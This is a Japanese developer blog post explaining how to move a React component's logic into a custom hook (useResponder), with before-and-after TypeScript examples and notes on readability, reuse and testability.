ずばり、今回のケースではUIとロジックを分けると書きやすかった、つまりTSXでは表示のみに徹しカスタムフックでコンポーネントのロジックを受け持たせるのがよい構成だったのです。

これだけだとピンとこないので、実例を見てみましょう

分ける前

これを

import { useEffect, useState, type ChangeEvent } from "react"

export function TestComponent() {
    const [inputText, setInputText] = useState<string | null>(null);
    const [response, setResponse] = useState<string | null>(null);

    useEffect(() => {
        // 複雑な処理
        setResponse(`inputは${inputText}だよ!`)
    }, [inputText])

    const onChange = (event: ChangeEvent<HTMLInputElement>) => {
        setInputText(event.currentTarget.value);
    }

    return (
        <div>
            <input type='text' placeholder='Enter some text' onChange={onChange} />
            {response ? <p>{response}</p> : <></>}
        </div>
    )
}

分けた後

こうする!👇 (カスタムフック使用)

import { type ChangeEvent } from "react"
import { useResponder } from "../hooks/useResponder";

export function TestComponent() {
    const { setInputText, response } = useResponder();

    const onChange = (event: ChangeEvent<HTMLInputElement>) => {
        setInputText(event.currentTarget.value);
    }

    return (
        <div>
            <input type='text' placeholder='Enter some text' onChange={onChange} />
            {response ? <p>{response}</p> : <></>}
        </div>
    )
}
import { useEffect, useState } from "react";

export function useResponder() {
    const [inputText, setInputText] = useState<string | null>(null);
    const [response, setResponse] = useState<string | null>(null);

    useEffect(() => {
        if (!inputText) {
            setResponse(null);
            return;
        }
        setResponse(`inputは${inputText}だよ!`)
    }, [inputText])

    return {
        setInputText,
        response
    };
}

分けておくと、見た目のコンポーネントはスッキリ保てます。 特に機能が増えてロジックが膨らんできたときに効果を発揮します 😎

カスタムフックの便利なところ

1. コードの見通しがよくなる/理解しやすくなる

やっぱり、これ大事ですよね。

  • UIを変えてもフックのインターフェースさえ守れば影響範囲を抑えられる。
  • ロジックもフック内に閉じ込めておけば、状態管理の手戻りを減らしやすい。

責務を分けることでUIとロジックの境界が明確になり、余計なバグを減らしながら開発できるのが本当にいいなと感じました 👀

2. ロジック・状態を使いまわせる

一度フックに必要なロジックをしっかり書けば、他のコンポーネントでそのロジックと状態管理を使いまわせる!

例えば、他のコンポーネントで書いた

  • 入力値の設定
  • ファイル生成
  • ダウンロード

というコードがあったとして、それを何度も貼り付けなくていい=保守性が上がる

しかも、コンポーネント側では入力値を設定するだけなので、表示周りのコードの見通しも保ちやすいです。

3. テストがしやすくなる

テストをするときに、全て一つのファイルに詰め込むと、 結果として、ビューのモックを作ったりあらゆる値をセットしないとテストできない!っていうことがありえるかも知れません。

フックにロジックを分離すれば、フック単体にフォーカスしたテストを書きやすくなりますし、最小限のモックで済ませられるケースも増えます。

これもとても大きい恩恵だと思いました

終わりに

今回、いろんな初見の技術を使いつつ、様々なことを学びながら実装ができました!!

これからもどんどん新しい概念や設計の基礎を学び、より良い品質で開発ができるように頑張ります〜